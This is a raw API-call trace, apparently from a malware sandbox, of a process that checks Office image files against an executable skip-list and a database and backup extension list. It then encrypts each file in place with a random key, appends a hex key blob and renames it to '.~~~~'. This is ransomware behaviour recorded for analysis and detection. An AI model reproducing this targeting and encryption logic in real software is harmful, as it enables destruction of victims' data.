	[0143.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".dll") returned 0x0
	[0143.157] lstrlenW (lpString=".bat") returned 4
	[0143.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".bat") returned 0x0
	[0143.157] lstrlenW (lpString=".cpl") returned 4
	[0143.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".cpl") returned 0x0
	[0143.157] lstrlenW (lpString=".sys") returned 4
	[0143.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".sys") returned 0x0
	[0143.157] lstrlenW (lpString=".msc") returned 4
	[0143.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".msc") returned 0x0
	[0143.157] lstrlenW (lpString=".com") returned 4
	[0143.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".com") returned 0x0
	[0143.157] lstrlenW (lpString=".lnk") returned 4
	[0143.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".lnk") returned 0x0
	[0143.157] lstrlenW (lpString=".msp") returned 4
	[0143.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".msp") returned 0x0
	[0143.157] lstrlenW (lpString=".pif") returned 4
	[0143.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".pif") returned 0x0
	[0143.157] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0143.157] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir46b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0143.159] lstrlenW (lpString=".sqb") returned 4
	[0143.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".sqb") returned 0x0
	[0143.159] lstrlenW (lpString=".ost") returned 4
	[0143.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".ost") returned 0x0
	[0143.159] lstrlenW (lpString=".txt") returned 4
	[0143.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".txt") returned 0x0
	[0143.160] lstrlenW (lpString=".mdt") returned 4
	[0143.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".mdt") returned 0x0
	[0143.160] lstrlenW (lpString=".BDB") returned 4
	[0143.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".BDB") returned 0x0
	[0143.160] lstrlenW (lpString=".eql") returned 4
	[0143.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".eql") returned 0x0
	[0143.160] lstrlenW (lpString=".DBF") returned 4
	[0143.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".DBF") returned 0x0
	[0143.160] lstrlenW (lpString=".EQL") returned 4
	[0143.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".EQL") returned 0x0
	[0143.160] lstrlenW (lpString=".FDB") returned 4
	[0143.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".FDB") returned 0x0
	[0143.160] lstrlenW (lpString=".EDB") returned 4
	[0143.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".EDB") returned 0x0
	[0143.160] lstrlenW (lpString=".DACPAC") returned 7
	[0143.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".DACPAC") returned 0x0
	[0143.160] lstrlenW (lpString=".VHD") returned 4
	[0143.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".VHD") returned 0x0
	[0143.160] lstrlenW (lpString=".DBV") returned 4
	[0143.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".DBV") returned 0x0
	[0143.160] lstrlenW (lpString=".dacpac") returned 7
	[0143.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".dacpac") returned 0x0
	[0143.160] lstrlenW (lpString=".sdf") returned 4
	[0143.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".sdf") returned 0x0
	[0143.160] lstrlenW (lpString=".accdb") returned 6
	[0143.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".accdb") returned 0x0
	[0143.160] lstrlenW (lpString=".DBX") returned 4
	[0143.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".DBX") returned 0x0
	[0143.160] lstrlenW (lpString=".MDT") returned 4
	[0143.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".MDT") returned 0x0
	[0143.160] lstrlenW (lpString=".SQB") returned 4
	[0143.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".SQB") returned 0x0
	[0143.161] lstrlenW (lpString=".vhd") returned 4
	[0143.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".vhd") returned 0x0
	[0143.161] lstrlenW (lpString=".bac") returned 4
	[0143.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".bac") returned 0x0
	[0143.161] lstrlenW (lpString=".mdf") returned 4
	[0143.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".mdf") returned 0x0
	[0143.161] lstrlenW (lpString=".BAK") returned 4
	[0143.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".BAK") returned 0x0
	[0143.161] lstrlenW (lpString=".BAC") returned 4
	[0143.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".BAC") returned 0x0
	[0143.161] lstrlenW (lpString=".dbs") returned 4
	[0143.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".dbs") returned 0x0
	[0143.161] lstrlenW (lpString=".vhdx") returned 5
	[0143.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".vhdx") returned 0x0
	[0143.161] lstrlenW (lpString=".NDF") returned 4
	[0143.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".NDF") returned 0x0
	[0143.161] lstrlenW (lpString=".dat") returned 4
	[0143.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".dat") returned 0x0
	[0143.161] lstrlenW (lpString=".DBS") returned 4
	[0143.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".DBS") returned 0x0
	[0143.161] lstrlenW (lpString=".CKP") returned 4
	[0143.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".CKP") returned 0x0
	[0143.161] lstrlenW (lpString=".edb") returned 4
	[0143.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".edb") returned 0x0
	[0143.161] lstrlenW (lpString=".PST") returned 4
	[0143.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".PST") returned 0x0
	[0143.161] lstrlenW (lpString=".dbf") returned 4
	[0143.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".dbf") returned 0x0
	[0143.161] lstrlenW (lpString=".SQL") returned 4
	[0143.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".SQL") returned 0x0
	[0143.161] lstrlenW (lpString=".pst") returned 4
	[0143.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".pst") returned 0x0
	[0143.162] lstrlenW (lpString=".dbv") returned 4
	[0143.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".dbv") returned 0x0
	[0143.162] lstrlenW (lpString=".SDF") returned 4
	[0143.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".SDF") returned 0x0
	[0143.162] lstrlenW (lpString=".dtxs") returned 5
	[0143.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".dtxs") returned 0x0
	[0143.162] lstrlenW (lpString=".db3") returned 4
	[0143.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".db3") returned 0x0
	[0143.162] lstrlenW (lpString=".OST") returned 4
	[0143.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".OST") returned 0x0
	[0143.162] lstrlenW (lpString=".dbx") returned 4
	[0143.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".dbx") returned 0x0
	[0143.162] lstrlenW (lpString=".DB3") returned 4
	[0143.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".DB3") returned 0x0
	[0143.162] lstrlenW (lpString=".DAT") returned 4
	[0143.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".DAT") returned 0x0
	[0143.162] lstrlenW (lpString=".VHDX") returned 5
	[0143.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".VHDX") returned 0x0
	[0143.162] lstrlenW (lpString=".ndf") returned 4
	[0143.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".ndf") returned 0x0
	[0143.162] lstrlenW (lpString=".DB") returned 3
	[0143.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".DB") returned 0x0
	[0143.162] lstrlenW (lpString=".sql") returned 4
	[0143.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".sql") returned 0x0
	[0143.162] lstrlenW (lpString=".MYD") returned 4
	[0143.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".MYD") returned 0x0
	[0143.162] lstrlenW (lpString=".DBT") returned 4
	[0143.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".DBT") returned 0x0
	[0143.162] lstrlenW (lpString=".ACCDB") returned 6
	[0143.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".ACCDB") returned 0x0
	[0143.162] lstrlenW (lpString=".fdb") returned 4
	[0143.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".fdb") returned 0x0
	[0143.162] lstrlenW (lpString=".bak") returned 4
	[0143.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".bak") returned 0x0
	[0143.163] lstrlenW (lpString=".myd") returned 4
	[0143.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".myd") returned 0x0
	[0143.163] lstrlenW (lpString=".DTXS") returned 5
	[0143.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".DTXS") returned 0x0
	[0143.163] lstrlenW (lpString=".ckp") returned 4
	[0143.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".ckp") returned 0x0
	[0143.163] lstrlenW (lpString=".dbt") returned 4
	[0143.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".dbt") returned 0x0
	[0143.163] lstrlenW (lpString=".db") returned 3
	[0143.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".db") returned 0x0
	[0143.163] lstrlenW (lpString=".TXT") returned 4
	[0143.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".TXT") returned 0x0
	[0143.163] lstrlenW (lpString=".MDF") returned 4
	[0143.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".MDF") returned 0x0
	[0143.163] lstrlenW (lpString=".bdb") returned 4
	[0143.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".bdb") returned 0x0
	[0143.163] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0143.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630a8
	[0143.163] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x395498) returned 1
	[0143.164] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630a8 | out: pbBuffer=0x3630a8) returned 1
	[0143.164] CryptReleaseContext (hProv=0x395498, dwFlags=0x0) returned 1
	[0143.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630a8 | out: hHeap=0x300000) returned 1
	[0143.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0143.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0143.165] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26315488638) returned 1
	[0143.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbebc8550, dwHighDateTime=0x1d60e1e)) 
	[0143.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0143.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0143.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0143.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5540
	[0143.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5540 | out: hHeap=0x300000) returned 1
	[0143.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ab0c0
	[0143.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab0c0 | out: hHeap=0x300000) returned 1
	[0143.165] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0143.166] GetLastError () returned 0x0
	[0143.166] GetLastError () returned 0x0
	[0143.166] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0143.166] GetLastError () returned 0x0
	[0143.166] GetLastError () returned 0x0
	[0143.166] ReadFile (in: hFile=0x10c, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x1f8fec0*=0x1304, lpOverlapped=0x0) returned 1
	[0143.168] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffecfc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.168] WriteFile (in: hFile=0x10c, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x1304, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x1304, lpOverlapped=0x0) returned 1
	[0143.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0143.168] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.168] WriteFile (in: hFile=0x10c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.168] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.168] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.169] CloseHandle (hObject=0x10c) returned 1
	[0143.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28ab0c0
	[0143.169] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir46b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir46b.gif.~~~~")) returned 1
	[0143.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab0c0 | out: hHeap=0x300000) returned 1
	[0143.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0143.468] GetLastError () returned 0x0
	[0143.468] RtlWakeConditionVariable () returned 0x0
	[0143.469] GetCurrentThreadId () returned 0xaf0
	[0143.469] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".scr") returned 0x0
	[0143.469] lstrlenW (lpString=".cmd") returned 4
	[0143.469] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".cmd") returned 0x0
	[0143.469] lstrlenW (lpString=".dll") returned 4
	[0143.469] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".dll") returned 0x0
	[0143.469] lstrlenW (lpString=".bat") returned 4
	[0143.469] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".bat") returned 0x0
	[0143.469] lstrlenW (lpString=".cpl") returned 4
	[0143.469] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".cpl") returned 0x0
	[0143.469] lstrlenW (lpString=".sys") returned 4
	[0143.469] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".sys") returned 0x0
	[0143.469] lstrlenW (lpString=".msc") returned 4
	[0143.469] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".msc") returned 0x0
	[0143.469] lstrlenW (lpString=".com") returned 4
	[0143.469] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".com") returned 0x0
	[0143.469] lstrlenW (lpString=".lnk") returned 4
	[0143.469] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".lnk") returned 0x0
	[0143.469] lstrlenW (lpString=".msp") returned 4
	[0143.470] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".msp") returned 0x0
	[0143.470] lstrlenW (lpString=".pif") returned 4
	[0143.470] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".pif") returned 0x0
	[0143.470] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.470] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0143.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir49b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0143.489] lstrlenW (lpString=".sqb") returned 4
	[0143.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".sqb") returned 0x0
	[0143.490] lstrlenW (lpString=".ost") returned 4
	[0143.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".ost") returned 0x0
	[0143.490] lstrlenW (lpString=".txt") returned 4
	[0143.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".txt") returned 0x0
	[0143.490] lstrlenW (lpString=".mdt") returned 4
	[0143.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".mdt") returned 0x0
	[0143.490] lstrlenW (lpString=".BDB") returned 4
	[0143.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".BDB") returned 0x0
	[0143.490] lstrlenW (lpString=".eql") returned 4
	[0143.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".eql") returned 0x0
	[0143.490] lstrlenW (lpString=".DBF") returned 4
	[0143.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".DBF") returned 0x0
	[0143.490] lstrlenW (lpString=".EQL") returned 4
